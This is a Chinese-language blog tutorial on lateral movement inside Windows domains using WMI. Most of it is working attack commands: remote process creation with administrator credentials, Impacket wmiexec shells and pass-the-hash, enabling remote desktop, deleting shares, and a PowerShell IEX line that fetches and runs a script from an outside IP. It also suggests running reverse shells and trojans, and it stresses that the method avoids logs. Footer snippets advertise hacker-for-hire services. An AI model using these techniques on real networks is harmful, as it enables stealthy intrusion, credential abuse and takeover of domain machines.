内网横向移动:利用WMI来渗透

访客4年前黑客工具1284

横向移动

在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种 *** ,访问域内其他机器,进一步扩大资产范围。通过此类手段,攻击者最终可能获得域控制器的访问权限,甚至完全控制基于Windows操作系统的整个内网环境,控制域环境下的全部机器。

这篇文章,我们来讲解WMI在横向渗透中的使用。

WMI 的使用

WMI的全名为“Windows Management Instrumentation”。从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以在本地或者远程管理计算机系统。

自从PsExec在内网中被严格监控后,越来越多的反病毒厂商将PsExec加入了黑名单,于是攻击者逐渐开始使用WMI进行横向移动。通过渗透测试发现,在使用wmiexec进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。因为在这个过程中不会产生日志,所以,对 *** 管理员来说增加了攻击溯源的成本。而对攻击者来说,其恶意行为被发现的可能性有所降低、隐蔽性有所提高。由此,越来越多的APT开始使用WMI进行攻击,利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。

WMI 常用命令

文件管理

wmic fsdir where "drive='c:' and filename='whoami'" list

删除C盘下的test目录

wmic fsdir "c:\	est" call delete

注意“\”要进行一下转义

执行如下命令可以枚举出整个系统中的所有可执行文件:

wmic process where “NOT ExecutablePath LIKE ‘%Windows%’” GET ExecutablePath

wmic 全盘搜索某文件并获取该文件所在目录

for /f "skip=1 tokens=1*" %i in ('wmic datafile where "FileName='qq' and extension='exe'" get drive^,path') do (set "qPath=%i%j"&@echo %qPath:~0,-3%)

系统环境设置管理

WMIC可以提取出所有重要系统文件的路径,例如temp目录和win目录等等:

wmic environment get Description, VariableValue

获取temp环境变量

wmic environment where "name='temp'" get UserName,VariableValue

更改PATH环境变量值,新增c:\whoami

wmic environment where "name='path' and username='<system>'" set VariableValue="%path%;c:\whoami"

进程管理

列出所有进程信息

wmic process list brief

Full显示所有、Brief显示摘要、Instance显示实例、Status显示状态

wmic process get processid,name,executablepath 
获取指定进程可执行文件的路径
wmic process where name="vmtoolsd.exe" get executablepath
wmic process call create "C:\windows\system32
otepad.exe"

根据系统命令创建进程

wmic process call create "cmd.exe /c 'ipconfig'"
wmic process call create "shutdown.exe -r -f -t 60"
wmic process where name="notepad.exe" delete
wmic process where pid="244" delete

用户账户管理

wmic useraccount
wmic useraccount list brief

wmic useraccount where "name='%UserName%'" call rename newUserName   // 更改当前用户名
wmic useraccount where "name='Administrator'" call Rename admin // 更改指定用户名

计算机系统管理

wmic computersystem get domain

自启程序管理

wmic startup get command,caption

服务管理

wmic service list brief

wmic service where "state='running'" list brief
wmic service where "name='tlntsvr'" call startservice

wmic service where "name='tlntsvr'" call stopservice

获取补丁信息

wmic qfe list brief
wmic qfe get Caption,Description,HotFixID,IntsalledOn

查看域控制器

wmic ntdomain list brief

查看安装的软件信息

wmic product get name,version

远程桌面连接

使用WMIC命令开启远程计算机的远程桌面连接:

wmic /node:192.168.52.138 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
// wmic /node:"[full machine name]" /USER:"[domain]\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

共享管理

wmic share list brief
wmic share get name,path,status

创建和删除共享

// 建立共享
wmic share call create "","test","3","TestShareName","","c:\whoami",0
(可使用 WMIC SHARE CALL Create /? 查看create后的参数类型)
// 删除共享
wmic share where "name='C$'" call delete
wmic share where "path='c:	est'" delete

使用WMI进行横向移动

注:使用WMIC连接远程主机,需要目标主机开放135和445端口。(135 端?是 WMIC 默认的管理端?,wimcexec 使?445端?传回显)

远程创建进程

如下,以administrator用户连接192.168.52.138(DC),并在机器上创建一个进程执行ipconfig命令,将结果写入c:\result.txt文本文件中:(由于wmic执行远程命令没有回显,所以要将结果写入到txt中)

wmic /node:192.168.52.138 /user:administrator /password:Liufupeng123 process call create "cmd.exe /c ipconfig > c:\result.txt"

// /node:指定将对其进行操作的服务器

这里由于我预先与目标主机建立了ipc$连接,所以就不需要在wmic指定/user和/password了。

建立ipc$连接后,使用type命令远程读取192.168.52.138上的执行结果:

type \\192.168.52.138\c$\result.txt

重启远程计算机

wmic /node:192.168.52.138 /user:administrator /password:Liufupeng123 /process call create "shutdown.exe -r -f -m"

使用WMIC远程执行命令,在远程系统中启动WMIC服务(目标服务器需要开放其默认135端口,WMIC会以管理员权限在远程系统中执行命令)。如果目标服务器开启了防火墙,WMIC将无法连接。另外由于wmic命令没有回显,需要使用IPC$和type命令来读取信息。需要注意的是,如果WMIC执行的是恶意程序,将不会留下日志。我们可以使用如下这些工具来执行wmi远程命令。

WMIEXEC

wmiexec是对windows自带的wmic做了一些强化,让渗透变得更容易。只能说很多工具吧,比较好用的在这里介绍几种。wmiexec需要提供账号密码进行远程连接,但是如果没有破解出账号和明文密码,也可以配合哈希传递或票据注入功能一起使用,先进行传递或注入,然后再使用WMIEXEC即可。

Impacket中的wmiexec.py

该脚本主要在从Linux像Windows进行横向渗透时使用,十分强大,可以走socks *** 进入内网。

下载地址:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

需要先下载impacket工具包,这里面有很多工具

git clone https://github.com/CoreSecurity/impacket.git
?cd impacket/
?pip install .

安装成功后,切换到examples目录下,运行如下命令获取目标系统192.168.52.138的shell:

python wmiexec.py administrator:Liufupeng123@192.168.52.138
// python wmiexec.py 用户名:密码@目标IP

如果对wmiexec.py指定-hashes的话,则可进行哈希传递

python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP    // 哈希传递获得shell
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig" // 执行命令

EXE版本的wmiexec

命令与wmiexec.py是一模一样的。运行如下命令获取目标系统192.168.52.138的shell:

wmiexec.exe administrator:Liufupeng123@192.168.52.138

wmiexec.exe主要用在Windows上。

wmiexec.vbs

下载地址:Here

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式Shell。

wmiexec.vbs支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式。

执行如下命令,获得目标主机(192.168.52.138)的一个半交互式的Shell:

cscript.exe //nologo wmiexec.vbs /shell 192.168.52.138 administrator Liufupeng123
// cscript用于在Windows中执行脚本

输入如下命令,使用wmiexec.vbs在远程主机上直接执行单条命令:(有回显)

cscript.exe //nologo wmiexec.vbs /cmd 192.168.52.138 administrator Liufupeng123 "ipconfig"

注意:对于运行时间较长的命令,例如ping、systeminfo等,需要添加“-wait 5000”或更长时间的参数。

由于正常的命令都要查看结果,所以执行的命令后面都会加上重定向符,把结果输出到文件中。所以wmiexec.vbs在运行nc反弹shell或者msf木马木马等不需要输出结果但需要一直运行的程序时,因为木马进程会一直存在,导致结果文件被占用,不能删除,也不能改写。出现这种情况后由于结果文件被占用,所以WMIEXEC不能工作,除非手动更改脚本中的结果文件名。或者可以用taskkill 远程结束掉卡死的进程,然后WMIEXEC可以恢复工作。为了解决这个问题,加入了“-persist” 选项。

当命令加了“-persist” 选项后,程序会在后台运行,不会有结果输出,而且会返回这个命令进程的PID,方便结束进程。这样就可以运行nc或者木马程序了。

wmiexec.vbs已经被各大厂商杀的死死的了。

使用PowerShell来执行WMI命令

Invoke-WmiCommand.ps1

下载地址:https://github.com/PowerShellMafia/PowerSploit

Invoke-WmiCommand.ps1是PowerSploit中的一个脚本工具,该脚本主要通过powershell调用WMI来远程执行命令,本质上还是利用WMI。

适用于Windows Server 2008 和 Windows 7及以上默认内置powershell的版本。使用如下,在powershell中分别输入如下命令:

IEX(New-Object Net.Webclient).DownloadString('http://39.xxx.xxx.210/powersploit/CodeExecution/Invoke-WmiCommand.ps1')     // 下载脚本并导入系统
$User="域名\用户名" // 指定目标系统用户名
$Password=ConvertTo-SecureString -String "文明密码" -AsPlainText -Force // 指定目标系统的密码
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password // 将账号和密码整合起来,以便导入credential
$Remote=Invoke-WmiCommand -Payload {要执行的命令} -Credential $Cred -ComputerName 目标IP
$Remote.PayloadOutput // 将执行结果输出到屏幕上

Invoke-WMIMethod.ps1

Invoke-WMIMethod.ps1模块是powershell自带的,可以在远程系统中执行命令和指定程序。在powershell命令行环境执行如下命令,可以以非交互式的方式执行远程命令,但不会回显执行结果。

$User="域名\用户名"    // 指定目标系统用户名
$Password=ConvertTo-SecureString -String "密码" -AsPlainText -Force // 指定目标系统密码
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password // 将账号和密码整合起来,以便导入 Credential中
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName "目标机IP" -Credential $Cred // 在远程系统中运行notepad.exe命令

Ending......

参考:

https://blog.csdn.net/jhsword/article/details/96623333

https://www.freebuf.com/articles/system/182531.html

https://blog.csdn.net/qq_36119192/article/details/102984779

https://blog.csdn.net/qq_27446553/article/details/46008473

《内网安全攻防:渗透测试实战指南》

文章大多是我学习的总结,因初来乍到,必有很多不足之处,还请各位前辈多多指教,小生还需多多向各位前辈学习。
个人博客:https://whoamianony.top/

相关文章

地坪施工公司取名大全(187个有档次名字)

寓意好两个字地坪施工公司取名名字大全打分 教参地坪施工公司   5.42分   进账地坪施工公司   10.10分   棱镜地坪施工公司   49.38分   外地地坪施工公司   15.60分...

专业黑客接单一般多少钱_哪里能找黑客帮忙

有9月勒索病毒选用的传达手法和其他病毒相似,不过2018年度最为常用的进犯手法却是远程桌面弱口令暴力破解进犯,很多政企、个人用户反应的勒索病毒都是依据此进犯方法。 专业黑客接单一般多少钱,哪里能找黑客...

狗狗呕吐怎么办是生病了吗(狗狗呕吐应该怎么

狗狗呕吐怎么办是生病了吗(狗狗呕吐应该怎么

狗呕吐有很多原因造成。一般来说,狗呕吐是一种正常的现象,造成呕吐的原因很多,主要是它们不知道细嚼慢咽的道理。       一、犬呕吐物以未消化的食物为主 对于狗狗来说,如果呕吐时,没有伴...

手机照片恢复简单方法(照片恢复软件)

  如何恢复iPhone的相片?相信许多 应用iPhone的小伙伴们也不了解iCloud,乃至一些长期性应用iPhone的小伙伴们也不知道什么叫iCloud。实际上,iCloud是iPhone发布的官...

第一黑客网,黑客网络hacknet 试炼,最新黑客钓鱼网站

msr cpsr_cf, r1写入文件C:Windowsfxsst.dll图7:从Google Play下载的歹意相机过滤运用 if str(entry.name).endswith(".DLL"):...

找黑客找电话接单先做后付(微信同步黑客接单

微软大数据解决方案使企业可以从自己的结构化和非结构化数据中施展业务洞察力。企业中的任何人通过 Office 和 SharePoint 等熟悉的工具从他们所有的数据中施展可执行的洞察力;还能通过连接到公...